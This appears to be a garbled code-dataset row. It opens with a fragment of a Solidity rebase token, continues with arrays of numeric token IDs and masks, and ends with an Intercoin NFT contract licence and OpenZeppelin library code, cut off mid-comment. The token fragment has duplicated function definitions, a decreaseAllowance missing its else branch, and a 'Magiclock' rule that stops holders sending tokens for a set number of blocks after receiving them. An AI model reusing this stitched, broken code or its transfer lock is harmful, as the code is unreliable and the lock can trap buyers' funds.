uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
if(Magic==true){
if(ViewMagicblock(from)!=true){
revert("You cant send before Magiclock");
}
if(to != UNISWAPPAIRaddress && to != UniswapRouter && to != RapiDsaddress){
MagicBlocksMap[to].delayend=Magiclock.add(block.number);
}
}
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
if(Magic==true){
if(ViewMagicblock(from)!=true){
revert("You cant send before Magiclock");
}
if(to != UNISWAPPAIRaddress && to != UniswapRouter && to != RapiDsaddress){
MagicBlocksMap[to].delayend=Magiclock.add(block.number);
}
}
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
} else {
} | 15,536,006 | [
1,
52,
22357,
10746,
21203,
6469,
3388,
1360,
16743,
29437,
1360,
4869,
28394,
5502,
957,
1915,
353,
16536,
16,
1915,
353,
279,
18404,
434,
17409,
1804,
2967,
628,
13885,
1334,
18,
657,
1353,
358,
18935,
333,
18404,
16,
732,
1261,
14852,
358,
326,
3751,
9875,
14567,
30,
404,
13,
1021,
4105,
4993,
1261,
3838,
329,
353,
326,
1300,
434,
314,
7008,
716,
1606,
404,
5481,
18,
565,
1021,
8322,
4993,
1297,
486,
506,
1399,
413,
28624,
67,
43,
673,
55,
353,
3712,
326,
16730,
471,
389,
4963,
3088,
1283,
353,
565,
3712,
326,
15030,
18,
261,
77,
18,
73,
18,
971,
1846,
2545,
358,
1765,
314,
7008,
358,
14656,
3560,
434,
565,
10194,
310,
635,
326,
8322,
4993,
16,
1846,
1410,
12326,
635,
326,
2212,
4993,
13,
576,
13,
611,
265,
324,
26488,
5970,
1368,
478,
2458,
1346,
854,
3712,
16729,
2588,
261,
23558,
690,
2934,
1660,
1221,
326,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
16351,
18469,
353,
4232,
39,
3462,
40,
6372,
16,
14223,
6914,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
377,
203,
377,
203,
1377,
1958,
28496,
6450,
288,
203,
4202,
203,
4202,
203,
565,
289,
203,
377,
203,
203,
565,
9606,
923,
18241,
12,
2867,
358,
13,
288,
203,
3639,
2583,
12,
869,
480,
1758,
12,
20,
92,
20,
10019,
203,
3639,
2583,
12,
869,
480,
1758,
12,
2211,
10019,
203,
3639,
389,
31,
203,
565,
289,
203,
377,
203,
27699,
565,
2874,
261,
2867,
516,
28496,
6450,
13,
1071,
28496,
6450,
863,
31,
203,
565,
2254,
28496,
739,
273,
4200,
31,
203,
565,
1426,
1071,
28496,
273,
629,
31,
203,
565,
2254,
5034,
3238,
5381,
25429,
55,
273,
2468,
31,
203,
565,
2254,
5034,
3238,
5381,
4552,
67,
57,
3217,
5034,
273,
4871,
11890,
5034,
12,
20,
1769,
203,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
565,
2254,
5034,
3238,
389,
75,
7008,
2173,
7456,
31,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
389,
75,
265,
38,
26488,
31,
203,
565,
2254,
5034,
943,
758,
1969,
33,
29,
3784,
31,
203,
377,
203,
565,
467,
654,
39,
3462,
2438,
12536,
4043,
6239,
31,
203,
565,
1758,
534,
2425,
22831,
2867,
31,
203,
565,
1758,
5019,
5127,
59,
2203,
4066,
7937,
2867,
31,
203,
565,
1758,
463,
20463,
29637,
2867,
31,
203,
565,
1758,
1351,
291,
91,
438,
8259,
33,
20,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
2
]
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
/**
*********************
NFT TEMPLATE CONTRACT
*********************
Although this code is available for viewing on GitHub and Etherscan, the general public is NOT given a license to freely deploy smart contracts based on this code, on any blockchains.
To prevent confusion and increase trust in the audited code bases of smart contracts we produce, we intend for there to be only ONE official Factory address on the blockchain producing these NFT smart contracts, and we are going to point a blockchain domain name at it.
Copyright (c) Intercoin Inc. All rights reserved.
ALLOWED USAGE.
Provided they agree to all the conditions of this Agreement listed below, anyone is welcome to interact with the official Factory Contract at the address 0x22222e0849704b754be0A372fFcDb9B22e4D7147 to produce smart contract instances, or to interact with instances produced in this manner by others.
Any user of software powered by this code MUST agree to the following, in order to use it. If you do not agree, refrain from using the software:
DISCLAIMERS AND DISCLOSURES.
Customer expressly recognizes that nearly any software may contain unforeseen bugs or other defects, due to the nature of software development. Moreover, because of the immutable nature of smart contracts, any such defects will persist in the software once it is deployed onto the blockchain. Customer therefore expressly acknowledges that any responsibility to obtain outside audits and analysis of any software produced by Developer rests solely with Customer.
Customer understands and acknowledges that the Software is being delivered as-is, and may contain potential defects. While Developer and its staff and partners have exercised care and best efforts in an attempt to produce solid, working software products, Developer EXPRESSLY DISCLAIMS MAKING ANY GUARANTEES, REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, ABOUT THE FITNESS OF THE SOFTWARE, INCLUDING LACK OF DEFECTS, MERCHANTABILITY OR SUITABILITY FOR A PARTICULAR PURPOSE.
Customer agrees that neither Developer nor any other party has made any representations or warranties, nor has the Customer relied on any representations or warranties, express or implied, including any implied warranty of merchantability or fitness for any particular purpose with respect to the Software. Customer acknowledges that no affirmation of fact or statement (whether written or oral) made by Developer, its representatives, or any other party outside of this Agreement with respect to the Software shall be deemed to create any express or implied warranty on the part of Developer or its representatives.
INDEMNIFICATION.
Customer agrees to indemnify, defend and hold Developer and its officers, directors, employees, agents and contractors harmless from any loss, cost, expense (including attorney’s fees and expenses), associated with or related to any demand, claim, liability, damages or cause of action of any kind or character (collectively referred to as “claim”), in any manner arising out of or relating to any third party demand, dispute, mediation, arbitration, litigation, or any violation or breach of any provision of this Agreement by Customer.
NO WARRANTY.
THE SOFTWARE IS PROVIDED “AS IS” WITHOUT WARRANTY. DEVELOPER SHALL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL, CONSEQUENTIAL, OR EXEMPLARY DAMAGES FOR BREACH OF THE LIMITED WARRANTY. TO THE MAXIMUM EXTENT PERMITTED BY LAW, DEVELOPER EXPRESSLY DISCLAIMS, AND CUSTOMER EXPRESSLY WAIVES, ALL OTHER WARRANTIES, WHETHER EXPRESSED, IMPLIED, OR STATUTORY, INCLUDING WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR USE, OR ANY WARRANTY ARISING OUT OF ANY PROPOSAL, SPECIFICATION, OR SAMPLE, AS WELL AS ANY WARRANTIES THAT THE SOFTWARE (OR ANY ELEMENTS THEREOF) WILL ACHIEVE A PARTICULAR RESULT, OR WILL BE UNINTERRUPTED OR ERROR-FREE. THE TERM OF ANY IMPLIED WARRANTIES THAT CANNOT BE DISCLAIMED UNDER APPLICABLE LAW SHALL BE LIMITED TO THE DURATION OF THE FOREGOING EXPRESS WARRANTY PERIOD. SOME STATES DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES AND/OR DO NOT ALLOW LIMITATIONS ON THE AMOUNT OF TIME AN IMPLIED WARRANTY LASTS, SO THE ABOVE LIMITATIONS MAY NOT APPLY TO CUSTOMER. THIS LIMITED WARRANTY GIVES CUSTOMER SPECIFIC LEGAL RIGHTS. CUSTOMER MAY HAVE OTHER RIGHTS WHICH VARY FROM STATE TO STATE.
LIMITATION OF LIABILITY.
TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT SHALL DEVELOPER BE LIABLE UNDER ANY THEORY OF LIABILITY FOR ANY CONSEQUENTIAL, INDIRECT, INCIDENTAL, SPECIAL, PUNITIVE OR EXEMPLARY DAMAGES OF ANY KIND, INCLUDING, WITHOUT LIMITATION, DAMAGES ARISING FROM LOSS OF PROFITS, REVENUE, DATA OR USE, OR FROM INTERRUPTED COMMUNICATIONS OR DAMAGED DATA, OR FROM ANY DEFECT OR ERROR OR IN CONNECTION WITH CUSTOMER'S ACQUISITION OF SUBSTITUTE GOODS OR SERVICES OR MALFUNCTION OF THE SOFTWARE, OR ANY SUCH DAMAGES ARISING FROM BREACH OF CONTRACT OR WARRANTY OR FROM NEGLIGENCE OR STRICT LIABILITY, EVEN IF DEVELOPER OR ANY OTHER PERSON HAS BEEN ADVISED OR SHOULD KNOW OF THE POSSIBILITY OF SUCH DAMAGES, AND NOTWITHSTANDING THE FAILURE OF ANY REMEDY TO ACHIEVE ITS INTENDED PURPOSE. WITHOUT LIMITING THE FOREGOING OR ANY OTHER LIMITATION OF LIABILITY HEREIN, REGARDLESS OF THE FORM OF ACTION, WHETHER FOR BREACH OF CONTRACT, WARRANTY, NEGLIGENCE, STRICT LIABILITY IN TORT OR OTHERWISE, CUSTOMER'S EXCLUSIVE REMEDY AND THE TOTAL LIABILITY OF DEVELOPER OR ANY SUPPLIER OF SERVICES TO DEVELOPER FOR ANY CLAIMS ARISING IN ANY WAY IN CONNECTION WITH OR RELATED TO THIS AGREEMENT, THE SOFTWARE, FOR ANY CAUSE WHATSOEVER, SHALL NOT EXCEED 1,000 USD.
TRADEMARKS.
This Agreement does not grant you any right in any trademark or logo of Developer or its affiliates.
LINK REQUIREMENTS.
Operators of any Websites and Apps which make use of smart contracts based on this code must conspicuously include the following phrase in their website, featuring a clickable link that takes users to nftremix.com:
"Visit https://nftremix.com to release your own NFT collection."
STAKING REQUIREMENTS.
In the future, Developer may begin requiring staking of ITR tokens in order to take further actions (such as producing series and minting tokens). Any staking requirements will first be announced on Developer's website (intercoin.org) four weeks in advance. Staking requirements will not apply to any actions already taken before they are put in place.
CUSTOM ARRANGEMENTS.
Reach out to us at intercoin.org if you are looking to obtain ITR tokens in bulk, remove link requirements forever, remove staking requirements forever, or get custom work done with your NFT projects.
ENTIRE AGREEMENT
This Agreement contains the entire agreement and understanding among the parties hereto with respect to the subject matter hereof, and supersedes all prior and contemporaneous agreements, understandings, inducements and conditions, express or implied, oral or written, of any nature whatsoever with respect to the subject matter hereof. The express terms hereof control and supersede any course of performance and/or usage of the trade inconsistent with any of the terms hereof. Provisions from previous Agreements executed between Customer and Developer., which are not expressly dealt with in this Agreement, will remain in effect.
SUCCESSORS AND ASSIGNS
This Agreement shall continue to apply to any successors or assigns of either party, or any corporation or other entity acquiring all or substantially all the assets and business of either party whether by operation of law or otherwise.
ARBITRATION
All disputes related to this agreement shall be governed by and interpreted in accordance with the laws of New York, without regard to principles of conflict of laws. The parties to this agreement will submit all disputes arising under this agreement to arbitration in New York City, New York before a single arbitrator of the American Arbitration Association (“AAA”). The arbitrator shall be selected by application of the rules of the AAA, or by mutual agreement of the parties, except that such arbitrator shall be an attorney admitted to practice law New York. No party to this agreement will challenge the jurisdiction or venue provisions as provided in this section. No party to this agreement will challenge the jurisdiction or venue provisions as provided in this section.
**/
// File: @openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol
// OpenZeppelin Contracts v4.4.0 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// File: contracts/interfaces/IFactory.sol
pragma solidity ^0.8.0;
interface IFactory {
function canOverrideCostManager(address operator, address instance) external view returns (bool);
}
// File: @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol
// OpenZeppelin Contracts v4.4.0 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// File: @openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol
// OpenZeppelin Contracts v4.4.0 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// File: contracts/lib/StringsW0x.sol
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsW0x {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
int256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, int256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * uint256(length));
for (int256 i = 2 * length - 1; i > -1; --i) {
buffer[uint256(i)] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
